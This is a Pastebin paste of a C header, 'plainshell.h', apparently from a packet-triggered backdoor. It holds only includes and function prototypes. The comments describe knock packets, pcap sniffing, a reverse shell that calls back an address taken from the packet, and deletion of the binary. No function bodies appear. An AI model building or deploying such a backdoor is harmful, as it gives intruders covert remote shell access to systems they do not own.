Advertisement
FlyFar

plainshell.h

Jan 20th, 2024
643
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.38 KB | Cybersecurity | 0 0
  1. /*
  2.  * plainshell.h
  3.  * Defines and includes and prototypes
  4.  * By J. Stuart McMurray
  5.  * Created 20160317
  6.  * Last Modified 20160319
  7.  */
  8.  
  9. #ifndef HAVE_PLAINSHELL_H
  10. #define HAVE_PLAINSHELL_H 1
  11.  
  12. #define _GNU_SOURCE /* Blech */
  13.  
  14. #include <sys/socket.h>
  15. #include <sys/stat.h>
  16.  
  17. #include <arpa/inet.h>
  18. #include <netinet/in.h>
  19.  
  20. #include <assert.h>
  21. #include <err.h>
  22. #include <pcap.h>
  23. #include <signal.h>
  24. #include <stdint.h>
  25. #include <stdlib.h>
  26. #include <string.h>
  27. #include <unistd.h>
  28.  
  29. #include "config.h"
  30.  
  31. /* Make a knock packet.  Expects the address and port to which the backdoor
  32.  * should call back. */
  33. int make_knock(const char *address, const char *port);
  34.  
  35. /* init_pcap sets up a pcap monitorer. */
  36. pcap_t *init_pcap();
  37.  
  38. /* handle takes a packet, and double-forks off a handler for it. */
  39. void handle(u_char *name, const struct pcap_pkthdr *hdr, const u_char *pkt);
  40.  
  41. /* shell calls back the address specified in the last six bytes of pkt, which
  42.  * is of length len. */
  43. void shell(const u_char *pkt, bpf_u_int32 len);
  44.  
  45. /* remove_dot_slash removes the leading ./ from the string at ./ by changing
  46.  * where the passed-in pointer points.  Thus, there is two bytes of leakage.
  47.  * If the string doesn't start with ./, nothing happens. */
  48. void remove_dot_slash(char **s);
  49.  
  50. /* rmbin removes whatever is at p, if it exists */
  51. void rmbin(char *p);
  52.  
  53. #endif /* HAVE_PLAINSHELL_H */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement